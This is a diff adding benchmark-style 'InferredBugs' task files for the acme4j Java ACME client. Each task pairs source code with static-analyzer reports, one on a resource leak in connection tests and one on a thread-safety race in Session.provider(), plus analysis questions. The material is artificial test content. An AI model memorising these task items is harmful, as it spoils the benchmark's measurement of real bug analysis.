+        expectedHeader.append('}');
+
+        assertThat(Base64Url.decodeToUtf8String(encodedHeader), sameJSONAs(expectedHeader.toString()));
+        assertThat(Base64Url.decodeToUtf8String(encodedPayload), is(""));
+        assertThat(encodedSignature, not(isEmptyOrNullString()));
+
+        JsonWebSignature jws = new JsonWebSignature();
+        jws.setCompactSerialization(CompactSerializer.serialize(encodedHeader, encodedPayload, encodedSignature));
+        jws.setKey(login.getKeyPair().getPublic());
+        assertThat(jws.verifySignature(), is(true));
+    }
+
+    /**
+     * Test certificate POST-as-GET requests.
+     */
+    @Test
+    public void testSendCertificateRequest() throws Exception {
+        final String nonce1 = Base64Url.encode("foo-nonce-1-foo".getBytes());
+        final String nonce2 = Base64Url.encode("foo-nonce-2-foo".getBytes());
+        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(outputStream);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public void resetNonce(Session session) {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == null) {
+                    session.setNonce(nonce1);
+                } else {
+                    fail("unknown nonce");
+                }
+            }
+
+            @Override
+            public String getNonce() {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == nonce1) {
+                    return nonce2;
+                } else {
+                    fail("unknown nonce");
+                    return null;
+                }
+            }
+        }) {
+            conn.sendCertificateRequest(requestUrl, login);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("POST");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/pem-certificate-chain");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setRequestProperty("Content-Type", "application/jose+json");
+        verify(mockUrlConnection).setDoOutput(true);
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).setFixedLengthStreamingMode(outputStream.toByteArray().length);
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getOutputStream();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test signed POST requests without KeyIdentifier.
+     */
+    @Test
+    public void testSendSignedRequestNoKid() throws Exception {
+        final String nonce1 = Base64Url.encode("foo-nonce-1-foo".getBytes());
+        final String nonce2 = Base64Url.encode("foo-nonce-2-foo".getBytes());
+        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(outputStream);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public void resetNonce(Session session) {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == null) {
+                    session.setNonce(nonce1);
+                } else {
+                    fail("unknown nonce");
+                }
+            }
+
+            @Override
+            public String getNonce() {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == nonce1) {
+                    return nonce2;
+                } else {
+                    fail("unknown nonce");
+                    return null;
+                }
+            }
+        }) {
+            JSONBuilder cb = new JSONBuilder();
+            cb.put("foo", 123).put("bar", "a-string");
+            conn.sendSignedRequest(requestUrl, cb, session, keyPair);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("POST");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/json");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setRequestProperty("Content-Type", "application/jose+json");
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).setDoOutput(true);
+        verify(mockUrlConnection).setFixedLengthStreamingMode(outputStream.toByteArray().length);
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getOutputStream();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+
+        JSON data = JSON.parse(new String(outputStream.toByteArray(), "utf-8"));
+        String encodedHeader = data.get("protected").asString();
+        String encodedSignature = data.get("signature").asString();
+        String encodedPayload = data.get("payload").asString();
+
+        StringBuilder expectedHeader = new StringBuilder();
+        expectedHeader.append('{');
+        expectedHeader.append("\"nonce\":\"").append(nonce1).append("\",");
+        expectedHeader.append("\"url\":\"").append(requestUrl).append("\",");
+        expectedHeader.append("\"alg\":\"RS256\",");
+        expectedHeader.append("\"jwk\":{");
+        expectedHeader.append("\"kty\":\"").append(TestUtils.KTY).append("\",");
+        expectedHeader.append("\"e\":\"").append(TestUtils.E).append("\",");
+        expectedHeader.append("\"n\":\"").append(TestUtils.N).append("\"");
+        expectedHeader.append("}}");
+
+        assertThat(Base64Url.decodeToUtf8String(encodedHeader), sameJSONAs(expectedHeader.toString()));
+        assertThat(Base64Url.decodeToUtf8String(encodedPayload), sameJSONAs("{\"foo\":123,\"bar\":\"a-string\"}"));
+        assertThat(encodedSignature, not(isEmptyOrNullString()));
+
+        JsonWebSignature jws = new JsonWebSignature();
+        jws.setCompactSerialization(CompactSerializer.serialize(encodedHeader, encodedPayload, encodedSignature));
+        jws.setKey(login.getKeyPair().getPublic());
+        assertThat(jws.verifySignature(), is(true));
+    }
+
+    /**
+     * Test signed POST requests if there is no nonce.
+     */
+    @Test(expected = AcmeException.class)
+    public void testSendSignedRequestNoNonce() throws Exception {
+        when(mockHttpConnection.openConnection(new URL("https://example.com/acme/new-nonce"), Proxy.NO_PROXY))
+                .thenReturn(mockUrlConnection);
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_NOT_FOUND);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            JSONBuilder cb = new JSONBuilder();
+            conn.sendSignedRequest(requestUrl, cb, DefaultConnectionTest.this.session, DefaultConnectionTest.this.keyPair);
+        }
+    }
+
+    /**
+     * Test getting a JSON response.
+     */
+    @Test
+    public void testReadJsonResponse() throws Exception {
+        String jsonData = "{\n\"foo\":123,\n\"bar\":\"a-string\"\n}\n";
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/json");
+        when(mockUrlConnection.getContentLength()).thenReturn(jsonData.length());
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getInputStream()).thenReturn(new ByteArrayInputStream(jsonData.getBytes("utf-8")));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            JSON result = conn.readJsonResponse();
+            assertThat(result, is(notNullValue()));
+            assertThat(result.keySet(), hasSize(2));
+            assertThat(result.get("foo").asInt(), is(123));
+            assertThat(result.get("bar").asString(), is("a-string"));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection).getContentLength();
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getInputStream();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that a certificate is downloaded correctly.
+     */
+    @Test
+    public void testReadCertificate() throws Exception {
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/pem-certificate-chain");
+        when(mockUrlConnection.getInputStream()).thenReturn(getClass().getResourceAsStream("/cert.pem"));
+
+        List<X509Certificate> downloaded;
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            downloaded = conn.readCertificates();
+        }
+
+        List<X509Certificate> original = TestUtils.createCertificate();
+        assertThat(original.size(), is(2));
+
+        assertThat(downloaded, not(nullValue()));
+        assertThat(downloaded.size(), is(original.size()));
+        for (int ix = 0; ix < downloaded.size(); ix++) {
+            assertThat(downloaded.get(ix).getEncoded(), is(original.get(ix).getEncoded()));
+        };
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection).getInputStream();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that a bad certificate throws an exception.
+     */
+    @Test(expected = AcmeProtocolException.class)
+    public void testReadBadCertificate() throws Exception {
+        // Build a broken certificate chain PEM file
+        byte[] brokenPem;
+        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
+                        OutputStreamWriter w = new OutputStreamWriter(baos)) {
+            for (X509Certificate cert : TestUtils.createCertificate()) {
+                byte[] badCert = cert.getEncoded();
+                Arrays.sort(badCert); // break it
+                AcmeUtils.writeToPem(badCert, AcmeUtils.PemLabel.CERTIFICATE, w);
+            }
+            w.flush();
+            brokenPem = baos.toByteArray();
+        }
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/pem-certificate-chain");
+        when(mockUrlConnection.getInputStream()).thenReturn(new ByteArrayInputStream(brokenPem));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.readCertificates();
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.net.HttpURLConnection` acquired by call to `sendRequest(...)` at line 652 is not released after line 653.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DefaultConnectionTest.testSendRequest()
+
+### Procedure Id:
+org.shredzone.acme4j.connector.DefaultConnectionTest.testSendRequest():void.57115950df0dc37ce3928cda06f0923d
+
+### File:
+acme4j-client/src/test/java/org/shredzone/acme4j/connector/DefaultConnectionTest.java
+
+### Key:
+DefaultConnectionTest.java|testSendRequest|RESOURCE_LEAK
+
+### Node Key:
+be34d01a97ade44aabeb9969f5c22e18
+
+### Hash:
+e35ce667353970de82bd49e2ecdc1f17
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8166/instruction.md b/inferredbugs-8166/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dceed9c6102a42c17b6032f01d7bb8a406dd3c72
--- /dev/null
+++ b/inferredbugs-8166/instruction.md
@@ -0,0 +1,312 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** acme4j
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * acme4j - Java ACME client
+ *
+ * Copyright (C) 2015 Richard "Shred" Körber
+ *   http://acme4j.shredzone.org
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ */
+package org.shredzone.acme4j;
+
+import java.net.URI;
+import java.security.KeyPair;
+import java.time.Duration;
+import java.time.Instant;
+import java.util.ArrayList;
+import java.util.EnumMap;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Objects;
+import java.util.ServiceLoader;
+
+import org.shredzone.acme4j.challenge.Challenge;
+import org.shredzone.acme4j.challenge.TokenChallenge;
+import org.shredzone.acme4j.connector.Resource;
+import org.shredzone.acme4j.exception.AcmeException;
+import org.shredzone.acme4j.provider.AcmeProvider;
+import org.shredzone.acme4j.util.JSON;
+
+/**
+ * A session stores the ACME server URI and the account's key pair. It also tracks
+ * communication parameters.
+ * <p>
+ * Note that {@link Session} objects are not serializable, as they contain a keypair and
+ * volatile data.
+ */
+public class Session {
+    private final Map<Resource, URI> resourceMap = new EnumMap<>(Resource.class);
+    private final URI serverUri;
+
+    private KeyPair keyPair;
+    private AcmeProvider provider;
+    private byte[] nonce;
+    private JSON directoryJson;
+    private Metadata metadata;
+    private Locale locale = Locale.getDefault();
+    protected Instant directoryCacheExpiry;
+
+    /**
+     * Creates a new {@link Session}.
+     *
+     * @param serverUri
+     *            URI string of the ACME server
+     * @param keyPair
+     *            {@link KeyPair} of the ACME account
+     */
+    public Session(String serverUri, KeyPair keyPair) {
+        this(URI.create(serverUri), keyPair);
+    }
+
+    /**
+     * Creates a new {@link Session}.
+     *
+     * @param serverUri
+     *            {@link URI} of the ACME server
+     * @param keyPair
+     *            {@link KeyPair} of the ACME account
+     */
+    public Session(URI serverUri, KeyPair keyPair) {
+        this.serverUri = Objects.requireNonNull(serverUri, "serverUri");
+        this.keyPair = Objects.requireNonNull(keyPair, "keyPair");
+    }
+
+    /**
+     * Gets the ACME server {@link URI} of this session.
+     */
+    public URI getServerUri() {
+        return serverUri;
+    }
+
+    /**
+     * Gets the {@link KeyPair} of the ACME account.
+     */
+    public KeyPair getKeyPair() {
+        return keyPair;
+    }
+
+    /**
+     * Sets a different {@link KeyPair}.
+     */
+    public void setKeyPair(KeyPair keyPair) {
+        this.keyPair = keyPair;
+    }
+
+    /**
+     * Gets the last nonce, or {@code null} if the session is new.
+     */
+    public byte[] getNonce() {
+        return nonce;
+    }
+
+    /**
+     * Sets the nonce received by the server.
+     */
+    public void setNonce(byte[] nonce) {
+        this.nonce = nonce;
+    }
+
+    /**
+     * Gets the current locale of this session.
+     */
+    public Locale getLocale() {
+        return locale;
+    }
+
+    /**
+     * Sets the locale used in this session. The locale is passed to the server as
+     * Accept-Language header. The server <em>may</em> respond with localized messages.
+     */
+    public void setLocale(Locale locale) {
+        this.locale = locale;
+    }
+
+    /**
+     * Returns the {@link AcmeProvider} that is used for this session.
+     * <p>
+     * The {@link AcmeProvider} instance is lazily created and cached.
+     *
+     * @return {@link AcmeProvider}
+     */
+    public AcmeProvider provider() {
+        synchronized (this) {
+            if (provider == null) {
+                List<AcmeProvider> candidates = new ArrayList<>();
+                for (AcmeProvider acp : ServiceLoader.load(AcmeProvider.class)) {
+                    if (acp.accepts(serverUri)) {
+                        candidates.add(acp);
+                    }
+                }
+
+                if (candidates.isEmpty()) {
+                    throw new IllegalArgumentException("No ACME provider found for " + serverUri);
+                } else if (candidates.size() > 1) {
+                    throw new IllegalStateException("There are " + candidates.size() + " "
+                        + AcmeProvider.class.getSimpleName() + " accepting " + serverUri
+                        + ". Please check your classpath.");
+                } else {
+                    provider = candidates.get(0);
+                }
+            }
+        }
+        return provider;
+    }
+
+    /**
+     * Creates a {@link Challenge} instance for the given challenge data.
+     *
+     * @param data
+     *            Challenge JSON data
+     * @return {@link Challenge} instance
+     */
+    public Challenge createChallenge(JSON data) {
+        Objects.requireNonNull(data, "data");
+
+        String type = data.get("type").required().asString();
+
+        Challenge challenge = provider().createChallenge(this, type);
+        if (challenge == null) {
+            if (data.contains("token")) {
+                challenge = new TokenChallenge(this);
+            } else {
+                challenge = new Challenge(this);
+            }
+        }
+        challenge.unmarshall(data);
+        return challenge;
+    }
+
+    /**
+     * Gets the {@link URI} of the given {@link Resource}. This may involve connecting to
+     * the server and getting a directory. The result is cached.
+     *
+     * @param resource
+     *            {@link Resource} to get the {@link URI} of
+     * @return {@link URI}, or {@code null} if the server does not offer that resource
+     */
+    public URI resourceUri(Resource resource) throws AcmeException {
+        readDirectory();
+        return resourceMap.get(Objects.requireNonNull(resource, "resource"));
+    }
+
+    /**
+     * Gets the metadata of the provider's directory. This may involve connecting to the
+     * server and getting a directory. The result is cached.
+     *
+     * @return {@link Metadata}. May contain no data, but is never {@code null}.
+     */
+    public Metadata getMetadata() throws AcmeException {
+        readDirectory();
+        return metadata;
+    }
+
+    /**
+     * Reads the provider's directory, then rebuild the resource map. The response is
+     * cached.
+     */
+    private void readDirectory() throws AcmeException {
+        synchronized (this) {
+            Instant now = Instant.now();
+            if (directoryJson == null || !directoryCacheExpiry.isAfter(now)) {
+                directoryJson = provider().directory(this, getServerUri());
+                directoryCacheExpiry = now.plus(Duration.ofHours(1));
+
+                JSON meta = directoryJson.get("meta").asObject();
+                if (meta != null) {
+                    metadata = new Metadata(meta);
+                } else {
+                    metadata = new Metadata(JSON.empty());
+                }
+
+                resourceMap.clear();
+                for (Resource res : Resource.values()) {
+                    URI uri = directoryJson.get(res.path()).asURI();
+                    if (uri != null) {
+                        resourceMap.put(res, uri);
+                    }
+                }
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.shredzone.acme4j.Session.provider` reads without synchronization from `this.org.shredzone.acme4j.Session.provider`. Potentially races with write in method `Session.resourceUri(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+AcmeProvider Session.provider()
+
+### Procedure Id:
+org.shredzone.acme4j.Session.provider():org.shredzone.acme4j.provider.AcmeProvider.ed495ed67087feafb5b450bdeda21489
+
+### File:
+acme4j-client/src/main/java/org/shredzone/acme4j/Session.java
+
+### Key:
+Session.java|provider|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+673ecaf5b29e859bbeb5edf7f88d7335
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8167/instruction.md b/inferredbugs-8167/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f6a97737b06e7c1c38d566e3cbd6ab035bdad99d
--- /dev/null
+++ b/inferredbugs-8167/instruction.md
@@ -0,0 +1,1116 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** acme4j
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * acme4j - Java ACME client
+ *
+ * Copyright (C) 2015 Richard "Shred" Körber
+ *   http://acme4j.shredzone.org
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ */
+package org.shredzone.acme4j.connector;
+
+import static org.hamcrest.Matchers.*;
+import static org.junit.Assert.*;
+import static org.mockito.Mockito.*;
+import static org.shredzone.acme4j.toolbox.TestUtils.url;
+import static uk.co.datumedge.hamcrest.json.SameJSONAs.sameJSONAs;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.net.HttpURLConnection;
+import java.net.Proxy;
+import java.net.URI;
+import java.net.URL;
+import java.security.KeyPair;
+import java.security.cert.X509Certificate;
+import java.time.Duration;
+import java.time.Instant;
+import java.time.temporal.ChronoUnit;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+
+import org.jose4j.base64url.Base64Url;
+import org.jose4j.jws.JsonWebSignature;
+import org.jose4j.jwx.CompactSerializer;
+import org.junit.Before;
+import org.junit.Test;
+import org.mockito.ArgumentMatchers;
+import org.shredzone.acme4j.Login;
+import org.shredzone.acme4j.Session;
+import org.shredzone.acme4j.exception.AcmeException;
+import org.shredzone.acme4j.exception.AcmeProtocolException;
+import org.shredzone.acme4j.exception.AcmeRateLimitedException;
+import org.shredzone.acme4j.exception.AcmeRetryAfterException;
+import org.shredzone.acme4j.exception.AcmeServerException;
+import org.shredzone.acme4j.exception.AcmeUnauthorizedException;
+import org.shredzone.acme4j.exception.AcmeUserActionRequiredException;
+import org.shredzone.acme4j.provider.AcmeProvider;
+import org.shredzone.acme4j.toolbox.AcmeUtils;
+import org.shredzone.acme4j.toolbox.JSON;
+import org.shredzone.acme4j.toolbox.JSONBuilder;
+import org.shredzone.acme4j.toolbox.TestUtils;
+
+/**
+ * Unit tests for {@link DefaultConnection}.
+ */
+public class DefaultConnectionTest {
+
+    private URL requestUrl = TestUtils.url("http://example.com/acme/");
+    private URL accountUrl = TestUtils.url(TestUtils.ACCOUNT_URL);
+    private HttpURLConnection mockUrlConnection;
+    private HttpConnector mockHttpConnection;
+    private Session session;
+    private Login login;
+    private KeyPair keyPair;
+
+    @Before
+    public void setup() throws AcmeException, IOException {
+        mockUrlConnection = mock(HttpURLConnection.class);
+
+        mockHttpConnection = mock(HttpConnector.class);
+        when(mockHttpConnection.openConnection(requestUrl, Proxy.NO_PROXY)).thenReturn(mockUrlConnection);
+
+        final AcmeProvider mockProvider = mock(AcmeProvider.class);
+        when(mockProvider.directory(
+                        ArgumentMatchers.any(Session.class),
+                        ArgumentMatchers.eq(URI.create(TestUtils.ACME_SERVER_URI))))
+            .thenReturn(TestUtils.getJSON("directory"));
+
+        session = TestUtils.session(mockProvider);
+        session.setLocale(Locale.JAPAN);
+
+        keyPair = TestUtils.createKeyPair();
+
+        login = session.login(accountUrl, keyPair);
+    }
+
+    /**
+     * Test that {@link DefaultConnection#getNonce()} returns {@code null} if there is no
+     * {@code Replay-Nonce} header.
+     */
+    @Test
+    public void testNoNonceFromHeader() {
+        when(mockUrlConnection.getHeaderField("Replay-Nonce")).thenReturn(null);
+
+        assertThat(session.getNonce(), is(nullValue()));
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getNonce(), is(nullValue()));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Replay-Nonce");
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that {@link DefaultConnection#getNonce()} extracts a {@code Replay-Nonce}
+     * header correctly.
+     */
+    @Test
+    public void testGetNonceFromHeader() {
+        when(mockUrlConnection.getHeaderField("Replay-Nonce"))
+                .thenReturn(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getNonce(), is(TestUtils.DUMMY_NONCE));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Replay-Nonce");
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that {@link DefaultConnection#getNonce()} fails on an invalid
+     * {@code Replay-Nonce} header.
+     */
+    @Test
+    public void testInvalidNonceFromHeader() {
+        String badNonce = "#$%&/*+*#'";
+
+        when(mockUrlConnection.getHeaderField("Replay-Nonce")).thenReturn(badNonce);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.getNonce();
+            fail("Expected to fail");
+        } catch (AcmeProtocolException ex) {
+            assertThat(ex.getMessage(), org.hamcrest.Matchers.startsWith("Invalid replay nonce"));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Replay-Nonce");
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that {@link DefaultConnection#resetNonce(Session)} fetches a new nonce via
+     * new-nonce resource and a HEAD request.
+     */
+    @Test
+    public void testResetNonce() throws AcmeException, IOException {
+        when(mockHttpConnection.openConnection(new URL("https://example.com/acme/new-nonce"), Proxy.NO_PROXY))
+                .thenReturn(mockUrlConnection);
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_NO_CONTENT);
+
+        assertThat(session.getNonce(), is(nullValue()));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.resetNonce(session);
+            fail("missing Replay-Nonce header not detected");
+        } catch (AcmeProtocolException ex) {
+            // expected
+        }
+
+        assertThat(session.getNonce(), is(nullValue()));
+
+        when(mockUrlConnection.getHeaderField("Replay-Nonce"))
+                .thenReturn(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.resetNonce(session);
+        }
+
+        assertThat(session.getNonce(), is(TestUtils.DUMMY_NONCE));
+
+        verify(mockUrlConnection, atLeastOnce()).setRequestMethod("HEAD");
+        verify(mockUrlConnection, atLeastOnce()).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection, atLeastOnce()).connect();
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Replay-Nonce");
+        verify(mockUrlConnection, atLeastOnce()).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that an absolute Location header is evaluated.
+     */
+    @Test
+    public void testGetAbsoluteLocation() throws Exception {
+        when(mockUrlConnection.getHeaderField("Location")).thenReturn("https://example.com/otherlocation");
+        when(mockUrlConnection.getURL()).thenReturn(new URL("https://example.org/acme"));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            URL location = conn.getLocation();
+            assertThat(location, is(new URL("https://example.com/otherlocation")));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Location");
+        verify(mockUrlConnection).getURL();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that a relative Location header is evaluated.
+     */
+    @Test
+    public void testGetRelativeLocation() throws Exception {
+        when(mockUrlConnection.getHeaderField("Location")).thenReturn("/otherlocation");
+        when(mockUrlConnection.getURL()).thenReturn(new URL("https://example.org/acme"));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            URL location = conn.getLocation();
+            assertThat(location, is(new URL("https://example.org/otherlocation")));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Location");
+        verify(mockUrlConnection).getURL();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that absolute and relative Link headers are evaluated.
+     */
+    @Test
+    public void testGetLink() throws Exception {
+        Map<String, List<String>> headers = new HashMap<>();
+        headers.put("Content-Type", Arrays.asList("application/json"));
+        headers.put("Location", Arrays.asList("https://example.com/acme/acct/asdf"));
+        headers.put("Link", Arrays.asList(
+                        "<https://example.com/acme/new-authz>;rel=\"next\"",
+                        "</recover-acct>;rel=recover",
+                        "<https://example.com/acme/terms>; rel=\"terms-of-service\""
+                    ));
+
+        when(mockUrlConnection.getHeaderFields()).thenReturn(headers);
+        when(mockUrlConnection.getURL()).thenReturn(new URL("https://example.org/acme"));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getLinks("next"), containsInAnyOrder(new URL("https://example.com/acme/new-authz")));
+            assertThat(conn.getLinks("recover"), containsInAnyOrder(new URL("https://example.org/recover-acct")));
+            assertThat(conn.getLinks("terms-of-service"), containsInAnyOrder(new URL("https://example.com/acme/terms")));
+            assertThat(conn.getLinks("secret-stuff"), is(empty()));
+        }
+    }
+
+    /**
+     * Test that multiple link headers are evaluated.
+     */
+    @Test
+    public void testGetMultiLink() {
+        URL baseUrl = url("https://example.com/acme/request/1234");
+
+        Map<String, List<String>> headers = new HashMap<>();
+        headers.put("Link", Arrays.asList(
+                        "<https://example.com/acme/terms1>; rel=\"terms-of-service\"",
+                        "<https://example.com/acme/terms2>; rel=\"terms-of-service\"",
+                        "<../terms3>; rel=\"terms-of-service\""
+                    ));
+
+        when(mockUrlConnection.getHeaderFields()).thenReturn(headers);
+        when(mockUrlConnection.getURL()).thenReturn(baseUrl);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getLinks("terms-of-service"), containsInAnyOrder(
+                        url("https://example.com/acme/terms1"),
+                        url("https://example.com/acme/terms2"),
+                        url("https://example.com/acme/terms3")
+            ));
+        }
+    }
+
+    /**
+     * Test that no link headers are properly handled.
+     */
+    @Test
+    public void testGetNoLink() {
+        Map<String, List<String>> headers = Collections.emptyMap();
+        when(mockUrlConnection.getHeaderFields()).thenReturn(headers);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getLinks("something"), is(empty()));
+        }
+    }
+
+    /**
+     * Test that no Location header returns {@code null}.
+     */
+    @Test
+    public void testNoLocation() {
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            URL location = conn.getLocation();
+            assertThat(location, is(nullValue()));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Location");
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test if Retry-After header with absolute date is correctly parsed.
+     */
+    @Test
